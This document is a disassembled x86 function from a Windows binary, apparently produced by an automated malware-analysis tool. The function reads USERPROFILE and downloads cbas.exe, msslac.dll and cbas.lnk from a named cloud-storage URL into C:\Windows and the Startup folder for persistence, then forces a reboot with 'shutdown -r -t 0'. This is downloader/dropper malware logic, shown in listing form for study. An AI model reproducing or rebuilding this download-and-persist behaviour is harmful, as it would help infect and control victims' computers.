Function at 0x4037f0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x574ebc
mov eax, dword fs:[0]
push eax
sub esp, 0x42c
mov eax, dword [0x5dae44]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x400
lea eax, [ebp - 0x410]
mov dword [ebp - 0x434], 0
push 0
push eax
call fcn.0054ea50
add esp, 0xc
lea eax, [ebp - 0x410]
push 0x400
push eax
push str.USERPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call fcn.004195e2
mov ecx, eax
test ecx, ecx
je 0x403dc4
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x414], eax
lea eax, [ebp - 0x410]
mov dword [ebp - 4], 0
test eax, 0xffff0000
jne 0x403897
movzx eax, ax
lea ecx, [ebp - 0x414]
push eax
call fcn.00406200
jmp 0x4038bc
lea ecx, [ebp - 0x410]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4038a0
sub ecx, edx
lea eax, [ebp - 0x410]
push ecx
push eax
lea ecx, [ebp - 0x414]
call fcn.00406380
mov dword [ebp - 4], 2
mov edi, dword [ebp - 0x414]
mov ecx, dword [edi - 0x10]
lea ebx, [edi - 0x10]
mov dword [ebp - 0x438], 0
test ecx, ecx
je 0x4038e8
mov eax, dword [ecx]
call dword [eax + 0x10]
mov ecx, eax
test ecx, ecx
jne 0x4038fe
call fcn.004195e2
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x10]
mov ecx, eax
test ecx, ecx
je 0x403dce
mov eax, dword [ecx]
call dword [eax + 0xc]
mov dword [ebp - 0x434], 1
lea esi, [eax + 0x10]
mov eax, dword [edi - 0xc]
mov dword [ebp - 0x438], esi
mov dword [ebp - 0x430], eax
lea edx, [eax + 0x47]
test edx, edx
js 0x403dd8
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, edx
or eax, ecx
jge 0x40394d
push edx
lea ecx, [ebp - 0x438]
call fcn.00402140
mov esi, dword [ebp - 0x438]
mov eax, dword [ebp - 0x430]
push eax
push edi
push eax
push esi
call fcn.00401fd0
mov eax, dword [ebp - 0x430]
push 0x47
push str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartUpcbas.lnk
add eax, esi
push 0x47
push eax
call fcn.00401fd0
mov eax, dword [ebp - 0x430]
add esp, 0x20
add eax, 0x47
cmp eax, dword [esi - 8]
jg 0x403dd8
lea edx, [esi - 0x10]
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
mov dword [ebp - 0x430], edx
cmp edx, ebx
je 0x4039f0
cmp dword [ebx + 0xc], 0
lea edi, [ebx + 0xc]
jl 0x4039d5
mov eax, dword [edx]
cmp eax, dword [ebx]
jne 0x4039d5
push edx
call fcn.00406510
add esp, 4
mov esi, eax
or ecx, 0xffffffff
lock xadd dword [edi], ecx
dec ecx
test ecx, ecx
jg 0x4039ca
mov ecx, dword [ebx]
push ebx
mov edx, dword [ecx]
call dword [edx + 4]
lea edi, [esi + 0x10]
mov dword [ebp - 0x414], edi
jmp 0x4039ea
push dword [esi - 0xc]
lea ecx, [ebp - 0x414]
push esi
call fcn.00406380
mov edi, dword [ebp - 0x414]
mov edx, dword [ebp - 0x430]
or ebx, 0xffffffff
mov byte [ebp - 4], 1
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x403a0b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x24
push str.C:UsersPublicPicturesDefinec.exe
lea ecx, [ebp - 0x42c]
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
call fcn.004055d0
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 3
call fcn.004036f0
test al, al
jne 0x403d24
push ecx
mov esi, esp
mov dword [ebp - 0x434], esp
mov dword [ebp - 0x430], esi
call fcn.004195e2
mov ecx, eax
test ecx, ecx
je 0x403de2
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov eax, str.C:Windowscbas.exe
mov byte [ebp - 4], 4
mov ecx, esi
test eax, 0xffff0000
jne 0x403a94
movzx eax, ax
push eax
call fcn.00406200
jmp 0x403aa0
push 0x13
push str.C:Windowscbas.exe
call fcn.00406380
push ecx
mov esi, esp
mov byte [ebp - 4], 5
mov dword [ebp - 0x430], esi
call fcn.004195e2
mov ecx, eax
test ecx, ecx
je 0x403dec
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov eax, str.http:__bruplong.oss_accelerate.aliyuncs.com_270_cbas.exe
mov byte [ebp - 4], 6
mov ecx, esi
test eax, 0xffff0000
jne 0x403ae3
movzx eax, ax
push eax
call fcn.00406200
jmp 0x403aef
push 0x38
push str.http:__bruplong.oss_accelerate.aliyuncs.com_270_cbas.exe
call fcn.00406380
mov byte [ebp - 4], 5
mov byte [ebp - 4], 3
call fcn.00403500
add esp, 4
mov esi, esp
mov dword [ebp - 0x434], esp
mov dword [ebp - 0x430], esi
call fcn.004195e2
mov ecx, eax
test ecx, ecx
je 0x403df6
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov eax, str.C:Windowsmsslac.dll
mov byte [ebp - 4], 7
mov ecx, esi
test eax, 0xffff0000
jne 0x403b43
movzx eax, ax
push eax
call fcn.00406200
jmp 0x403b4f
push 0x15
push str.C:Windowsmsslac.dll
call fcn.00406380
push ecx
mov esi, esp
mov byte [ebp - 4], 8
mov dword [ebp - 0x430], esi
call fcn.004195e2
mov ecx, eax
test ecx, ecx
je 0x403e00
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov eax, str.http:__bruplong.oss_accelerate.aliyuncs.com_270_msslac.dll
mov byte [ebp - 4], 9
mov ecx, esi
test eax, 0xffff0000
jne 0x403b92
movzx eax, ax
push eax
call fcn.00406200
jmp 0x403b9e
push 0x3a
push str.http:__bruplong.oss_accelerate.aliyuncs.com_270_msslac.dll
call fcn.00406380
mov byte [ebp - 4], 8
mov byte [ebp - 4], 3
call fcn.00403500
add esp, 4
mov dword [ebp - 0x434], esp
mov ecx, dword [edi - 0x10]
mov dword [ebp - 0x430], esp
mov eax, dword [ecx]
call dword [eax + 0x10]
cmp dword [edi - 4], 0
mov ecx, eax
lea eax, [edi - 4]
jl 0x403bda
cmp ecx, dword [edi - 0x10]
jne 0x403bda
lea ebx, [edi - 0x10]
lock inc dword [eax]
jmp 0x403c06
mov eax, dword [ecx]
push 1
push dword [edi - 0xc]
call dword [eax]
mov ebx, eax
test ebx, ebx
je 0x403e0a
mov eax, dword [edi - 0xc]
mov dword [ebx + 4], eax
lea eax, [ebx + 0x10]
mov ecx, dword [edi - 0xc]
inc ecx
push ecx
push edi
push ecx
push eax
call fcn.00401fd0
add esp, 0x10
mov ecx, dword [ebp - 0x434]
lea eax, [ebx + 0x10]
mov dword [ecx], eax
push ecx
mov esi, esp
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x434], esi
call fcn.004195e2
mov ecx, eax
test ecx, ecx
je 0x403e0f
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov ebx, str.http:__bruplong.oss_accelerate.aliyuncs.com_270_cbas.lnk
mov byte [ebp - 4], 0xb
shr ebx, 0x10
mov eax, str.http:__bruplong.oss_accelerate.aliyuncs.com_270_cbas.lnk
mov ecx, esi
test ebx, ebx
jne 0x403c59
movzx eax, ax
push eax
call fcn.00406200
jmp 0x403c65
push 0x38
push str.http:__bruplong.oss_accelerate.aliyuncs.com_270_cbas.lnk
call fcn.00406380
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 3
call fcn.00403500
add esp, 4
mov esi, esp
mov dword [ebp - 0x434], esp
mov dword [ebp - 0x430], esi
call fcn.004195e2
mov ecx, eax
test ecx, ecx
je 0x403e19
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov eax, str.C:UsersUserAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupcbas.lnk
mov byte [ebp - 4], 0xc
mov ecx, esi
test eax, 0xffff0000
jne 0x403cb9
movzx eax, ax
push eax
call fcn.00406200
jmp 0x403cc5
push 0x54
push str.C:UsersUserAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupcbas.lnk
call fcn.00406380
push ecx
mov esi, esp
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x430], esi
call fcn.004195e2
mov ecx, eax
test ecx, ecx
je 0x403e23
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0xe
mov ecx, esi
test ebx, ebx
jne 0x403d05
mov eax, str.http:__bruplong.oss_accelerate.aliyuncs.com_270_cbas.lnk
movzx eax, ax
push eax
call fcn.00406200
jmp 0x403d11
push 0x38
push str.http:__bruplong.oss_accelerate.aliyuncs.com_270_cbas.lnk
call fcn.00406380
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 3
call fcn.00403500
add esp, 8
or ebx, 0xffffffff
push str._shutdown__r__t_0_
call fcn.00554c43
mov byte [ebp - 4], 1
add esp, 4
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0x403d6f
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403d65
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403e2d
push edx
push ecx
call fcn.0054b54a
add esp, 8
mov dword [ebp - 0x41c], 0
add edi, 0xfffffff0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
mov dword [ebp - 4], 0xffffffff
lock xadd dword [edi + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x403da6
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0054b27c
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00402220
push 0x80004005
call fcn.00402220
push 0x80070057
call fcn.00402220
push 0x80004005
call fcn.00402220
push 0x80004005
call fcn.00402220
push 0x80004005
call fcn.00402220
push 0x80004005
call fcn.00402220
call fcn.004020f0
push 0x80004005
call fcn.00402220
push 0x80004005
call fcn.00402220
push 0x80004005
call fcn.00402220
call fcn.00553eab
int3